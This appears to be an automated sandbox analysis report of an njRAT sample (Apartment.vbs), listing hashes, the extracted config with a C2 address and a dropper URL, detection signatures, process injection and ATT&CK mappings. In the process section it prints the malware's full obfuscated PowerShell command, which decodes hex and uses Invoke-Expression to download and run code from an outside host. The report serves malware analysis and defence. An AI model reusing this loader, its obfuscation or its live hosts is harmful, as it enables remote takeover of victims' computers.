njrat | 5eb13a8dd4cc2a1b7a265ab3489b651ceb4679742822bdada781f672dcce9d6e

General

Target

Apartment.vbs
Size

2KB
MD5

9733443c62fad16ef1c7412f1189b0ea
SHA1

7ffc31b99c0af85be17e8fe1a0d7ffdbfff3af43
SHA256

5eb13a8dd4cc2a1b7a265ab3489b651ceb4679742822bdada781f672dcce9d6e
SHA512

9088b1b27450532f0d509e7dcf14ed9cc22a23f1400c162046d332aad28c7ea0c9c4dff66609d8ec9c941eb3f183ab873b67aa099204ad70d9ac90c90f3e3001

Score

10^/10

njrat boss suricata trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://54.184.87.30/dddbypass.txt

Extracted

Family

njrat

Version

v4.0

Botnet

Boss

C2

103.147.184.73:7103

Mutex

Windows

Attributes

reg_key
Windows
splitter
|-F-|

Signatures

njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat
suricata: ET MALWARE Generic njRAT/Bladabindi CnC Activity (ll)
suricata: ET MALWARE Generic njRAT/Bladabindi CnC Activity (ll)
suricata
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

8 1352 powershell.exe
16 1352 powershell.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 1352 set thread context of 3512 1352 powershell.exe aspnet_compiler.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

1352 powershell.exe
1352 powershell.exe
1352 powershell.exe

flow	pid	process
8	1352	powershell.exe
16	1352	powershell.exe

description	pid	process	target process
PID 1352 set thread context of 3512	1352	powershell.exe	aspnet_compiler.exe

pid	process
1352	powershell.exe
1352	powershell.exe
1352	powershell.exe

Suspicious use of AdjustPrivilegeToken 30 IoCs

Processes:

powershell.exeaspnet_compiler.exe

description	pid	process
Token: SeDebugPrivilege	1352	powershell.exe
Token: SeDebugPrivilege	3512	aspnet_compiler.exe
Token: 33	3512	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	3512	aspnet_compiler.exe
Token: 33	3512	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	3512	aspnet_compiler.exe
Token: 33	3512	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	3512	aspnet_compiler.exe
Token: 33	3512	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	3512	aspnet_compiler.exe
Token: 33	3512	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	3512	aspnet_compiler.exe
Token: 33	3512	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	3512	aspnet_compiler.exe
Token: 33	3512	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	3512	aspnet_compiler.exe
Token: 33	3512	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	3512	aspnet_compiler.exe
Token: 33	3512	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	3512	aspnet_compiler.exe
Token: 33	3512	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	3512	aspnet_compiler.exe
Token: 33	3512	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	3512	aspnet_compiler.exe
Token: 33	3512	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	3512	aspnet_compiler.exe
Token: 33	3512	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	3512	aspnet_compiler.exe
Token: 33	3512	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	3512	aspnet_compiler.exe

Suspicious use of WriteProcessMemory 10 IoCs

Processes:

WScript.exepowershell.exe

description	pid	process	target process
PID 3220 wrote to memory of 1352	3220	WScript.exe	powershell.exe
PID 3220 wrote to memory of 1352	3220	WScript.exe	powershell.exe
PID 1352 wrote to memory of 3512	1352	powershell.exe	aspnet_compiler.exe
PID 1352 wrote to memory of 3512	1352	powershell.exe	aspnet_compiler.exe
PID 1352 wrote to memory of 3512	1352	powershell.exe	aspnet_compiler.exe
PID 1352 wrote to memory of 3512	1352	powershell.exe	aspnet_compiler.exe
PID 1352 wrote to memory of 3512	1352	powershell.exe	aspnet_compiler.exe
PID 1352 wrote to memory of 3512	1352	powershell.exe	aspnet_compiler.exe
PID 1352 wrote to memory of 3512	1352	powershell.exe	aspnet_compiler.exe
PID 1352 wrote to memory of 3512	1352	powershell.exe	aspnet_compiler.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Apartment.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:3220

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $TRUMP ='http://54XXX184XXX87XXX30/dddbypassXXXtxt'.Replace('XXX','.');$Shib='2%###%2###20###3d###27###%5###5%###%8###20###%3###%f###%9###%e###7%###2e###57###5%###%6###20###%3###%f###%9###%e###6c###%9###%f###53###%e###5%###27###2e###52###65###70###6c###61###63###65###28###27###%5###5%###%8###20###%3###%f###%9###%e###27###2c###27###6e###%5###27###29###2e###52###65###70###6c###61###63###65###28###27###5%###%6###20###%3###%f###%9###%e###27###2c###27###%5###62###%3###27###29###2e###52###65###70###6c###61###63###65###28###27###%f###53###27###2c###27###65###27###29###3b###2%###%3###%3###20###3d###20###27###%%###%f###53###20###%3###%f###%9###%e###20###%c###53###%f###53###%3###%f###%9###%e###6e###%7###27###2e###52###65###70###6c###61###63###65###28###27###53###20###%3###%f###%9###%e###20###27###2c###27###57###6e###27###29###2e###52###65###70###6c###61###63###65###28###27###53###%f###27###2c###27###6f###61###%%###27###29###2e###52###65###70###6c###61###63###65###28###27###%3###%f###%9###%e###27###2c###27###5%###72###%9###27###29###3b###2%###%1###20###3d###27###%9###60###%5###6f###73###20###%3###%f###%9###%e###60###57###60###%2###5%###%3###20###%3###%f###%9###%e###6a###60###%5###5%###%8###20###%3###%f###%9###%e###20###2%###%2###29###2e###2%###%3###%3###28###2%###5%###52###55###%d###50###29###27###2e###52###65###70###6c###61###63###65###28###27###6f###73###20###%3###%f###%9###%e###27###2c###27###58###28###6e###60###65###27###29###2e###52###65###70###6c###61###63###65###28###27###%2###5%###%3###20###%3###%f###%9###%e###27###2c###27###2d###%f###62###27###29###2e###52###65###70###6c###61###63###65###28###27###5%###%8###20###%3###%f###%9###%e###27###2c###27###60###63###60###5%###27###29###3b###26###28###27###%9###27###2b###27###%5###58###27###29###28###2%###%1###20###2d###%a###6f###69###6e###20###27###27###29###7c###26###28###27###%9###27###2b###27###%5###58###27###29###3b'.Replace('%','4');Invoke-Expression (-join ($Shib -split '###' | ? { $_ } | % { [char][convert]::ToUInt32($_,16) }))
2⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1352

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:3512

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/1352-115-0x0000000000000000-mapping.dmp

Download
memory/1352-120-0x00000199E0950000-0x00000199E0951000-memory.dmp

Filesize
4KB

Download
memory/1352-124-0x00000199E0A30000-0x00000199E0A32000-memory.dmp

Filesize
8KB

Download
memory/1352-125-0x00000199E0A33000-0x00000199E0A35000-memory.dmp

Filesize
8KB

Download
memory/1352-126-0x00000199E17F0000-0x00000199E17F1000-memory.dmp

Filesize
4KB

Download
memory/1352-131-0x00000199E0A36000-0x00000199E0A38000-memory.dmp

Filesize
8KB

Download
memory/1352-142-0x00000199E0A38000-0x00000199E0A39000-memory.dmp

Filesize
4KB

Download
memory/1352-153-0x00000199E09A0000-0x00000199E09A4000-memory.dmp

Filesize
16KB

Download
memory/3512-154-0x0000000000400000-0x000000000040E000-memory.dmp

Filesize
56KB

Download
memory/3512-155-0x000000000040836E-mapping.dmp

Download
memory/3512-159-0x00000000053B0000-0x00000000053B1000-memory.dmp

Filesize
4KB

Download
memory/3512-160-0x0000000005FB0000-0x0000000005FB1000-memory.dmp

Filesize
4KB

Download
memory/3512-161-0x0000000005AA0000-0x0000000005AA1000-memory.dmp

Filesize
4KB

Download
memory/3512-162-0x0000000005B60000-0x0000000005B61000-memory.dmp

Filesize
4KB

Download
memory/3512-163-0x0000000005B30000-0x0000000005B31000-memory.dmp

Filesize
4KB

Download
memory/3512-164-0x0000000005DA0000-0x0000000005DA1000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

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Downloads